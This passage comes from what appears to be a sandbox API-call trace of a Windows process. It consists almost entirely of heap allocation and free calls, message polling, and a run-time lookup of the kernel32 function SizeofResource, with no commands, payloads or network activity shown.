(HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.866] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.866] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.867] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x50) returned 0x104a988 [0131.867] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec39d8 | out: hHeap=0xe80000) returned 1 [0131.868] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.868] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076e20 [0131.868] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076dd8 [0131.868] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076dd8 | out: hHeap=0xe80000) returned 1 [0131.868] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e20 | out: hHeap=0xe80000) returned 1 [0131.869] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0d8 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c28 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d18 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cb8 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.869] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10686b0 | out: hHeap=0xe80000) returned 1 [0131.870] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.870] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x104a988 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.870] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.871] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.871] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.871] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10769b8 [0131.871] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.871] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.871] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.871] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.872] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0131.872] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.872] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.872] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.872] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.872] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec18e8 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf208 [0131.872] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3090 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d90 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.872] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556f0 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556f0 | out: hHeap=0xe80000) returned 1 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.873] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.873] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.873] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.874] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0131.874] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.874] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.874] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.874] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0131.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.874] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.874] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016280 [0131.875] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.875] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016280 | out: hHeap=0xe80000) returned 1 [0131.875] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.875] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.875] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.875] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.875] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0131.875] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.875] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.876] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0131.876] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.876] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0131.876] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.876] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.876] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.876] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0131.876] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0131.876] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.876] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.876] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10162c0 [0131.876] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.877] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10162c0 | out: hHeap=0xe80000) returned 1 [0131.877] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.877] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.877] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.877] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555d0 [0131.877] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555d0 | out: hHeap=0xe80000) returned 1 [0131.877] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.877] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.877] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0131.877] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.877] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0131.877] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.877] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055790 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055790 | out: hHeap=0xe80000) returned 1 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0131.878] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b80 | out: hHeap=0xe80000) returned 1 [0131.878] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.878] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.878] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0131.879] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0131.879] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0131.879] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ad8 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cb8 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c28 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.881] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.881] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.882] CharLowerBuffW (in: lpsz="dword", cchLength=0x5 | out: lpsz="dword") returned 0x5 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1898 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf108 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf228 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.882] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.882] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.883] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.883] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0131.883] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xf) returned 0x1076c70 [0131.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SizeofResource", 